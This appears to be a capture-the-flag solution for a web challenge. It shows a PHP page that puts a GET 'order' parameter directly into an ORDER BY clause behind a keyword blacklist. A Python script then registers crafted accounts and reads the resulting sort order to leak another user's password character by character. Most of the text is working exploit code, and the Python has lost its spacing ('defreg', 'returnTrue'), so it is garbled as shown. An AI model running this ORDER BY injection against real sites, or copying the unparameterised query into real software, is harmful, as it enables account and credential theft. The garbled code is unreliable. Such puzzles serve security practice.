<?php if(isset($_SESSION["login"]) && $_SESSION["login"] === true){ $con = mysqli_connect("localhost","root","root","web15"); if (!$con) { die('Could not connect: ' . mysqli_error()); } $order=$_GET['order']; if(isset($order) && strlen($order)<6){ if(preg_match("/group|union|select|from|or|and|regexp|substr|like|create|drop|\,|\`|\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\+|\=|\{|\}|\[|\]|\;|\:|\'|\’|\“|\"|\<|\>|\?|\,|\.|\?/i",$order)){ die("error"); } $sql="select * from user order by $order"; }else{ $sql="select * from user order by id"; } ?>
defreg(password): data = {"username":password, "email":"1", "nickname":"1", "password":password} r = requests.post(url=url+"reg.php", data=data, allow_redirects=False) if r.status_code == 302: returnTrue else: returnFalse
deflogin(username, password): # proxy = {"http":"http://127.0.0.1:8080"} data = {"username": username, "password": hashlib.md5(password.encode()).hexdigest()} s = requests.session() r = s.post(url=url+"login.php", data=data, allow_redirects=False) # print(r.headers) if r.headers["location"] == "/user_main.php?order=id": return s else: print("login error!") returnNone
key = "-.0123456789:abcdefghijklmnopqrstuvwxyz{|}~" reg(hashlib.md5("check".encode()).hexdigest()) session = login(hashlib.md5("check".encode()).hexdigest(), "check") pwd = ["-"] * 100 for i inrange(len(pwd)): for x inrange(len(key)): pwd[i] = key[x] _pwd = "".join(pwd) if reg(_pwd): r = session.get(url=url+"user_main.php?order=pwd") if _pwd in r.text.split("flag_is_my_password")[1]: pwd[i] = key[x-1] print("".join(pwd)) break